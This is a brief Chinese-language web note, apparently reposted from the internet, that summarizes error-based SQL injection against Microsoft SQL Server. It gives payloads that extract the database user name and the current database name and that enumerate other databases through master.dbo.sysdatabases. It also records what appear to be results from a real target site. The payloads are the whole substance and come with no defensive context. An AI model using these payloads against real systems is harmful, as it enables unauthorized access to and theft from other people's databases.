总结的

来源:互联网 发布:索尼 知乎 编辑:程序博客网 时间:2024/04/30 08:21


' and 0<>user_name()-- 看数据库权限  hbuxyh
' and 0<>db_name()--   当前数据库名  库名:xytd
  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)----得其它数据库名

 

http://www.yesky.com/SoftChannel/72342380484755456/20030701/1711401.shtml

http://www.china-askpro.com/msg48/qa28.shtml